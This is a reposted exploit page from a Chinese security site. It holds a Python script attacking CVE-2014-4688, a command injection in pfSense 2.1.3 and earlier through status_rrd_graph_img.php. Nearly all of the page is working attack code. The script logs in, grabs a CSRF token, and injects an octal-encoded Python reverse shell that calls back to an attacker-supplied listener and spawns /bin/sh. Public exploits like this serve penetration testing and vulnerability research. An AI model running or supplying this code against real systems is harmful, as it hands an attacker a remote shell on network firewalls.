首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
来源:vfocus.net 作者:absolomb 发布时间:2018-01-16  
#!/usr/bin/env python3
 
# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688
 
import argparse
import requests
import urllib
import urllib3
import collections
 
'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''
 
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()
 
rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password
 
 
# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)
 
 
payload = ""
 
# encode payload in octal
for char in command:
    payload += ("\\" + oct(ord(char)).lstrip("0o"))
 
login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"
 
headers = [
    ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
    ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
    ('Accept-Language', 'en-US,en;q=0.5'),
    ('Referer',login_url),
    ('Connection', 'close'),
    ('Upgrade-Insecure-Requests', '1'),
    ('Content-Type', 'application/x-www-form-urlencoded')
]
 
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
 
# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
client = requests.session()
 
# try to get the login page and grab the csrf token
try:
    login_page = client.get(login_url, verify=False)
 
    index = login_page.text.find("csrfMagicToken")
    csrf_token = login_page.text[index:index+128].split('"')[-1]
 
except:
    print("Could not connect to host!")
    exit()
 
# format login variables and data
if csrf_token:
    print("CSRF token obtained")
    login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
    login_data = collections.OrderedDict(login_data)
    encoded_data = urllib.parse.urlencode(login_data)
 
# POST login request with data, cookies and header
    login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
    print("No CSRF token!")
    exit()
 
if login_request.status_code == 200:
        print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
        try:
            exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
            if exploit_request.status_code:
                print("Error running exploit")
        except:
            print("Exploit completed")
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PyroBatchFTP < 3.19 - Buffer O
·SysGauge Server 3.6.18 - Buffe
·ZyXEL P-660HW UDP Denial Of Se
·Disk Pulse Enterprise 10.1.18
·eBPF 4.9-stable Verifier Bug B
·Adminer 4.3.1 - Server-Side Re
·OBS studio 20.1.3 - Local Buff
·Microsoft Edge Chakra - 'Appen
·Synology Photo Station 6.8.2-3
·macOS - 'process_policy' Stack
·D-Link DNS-325 ShareCenter 1.0
·Microsoft Windows - NTFS Owner
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved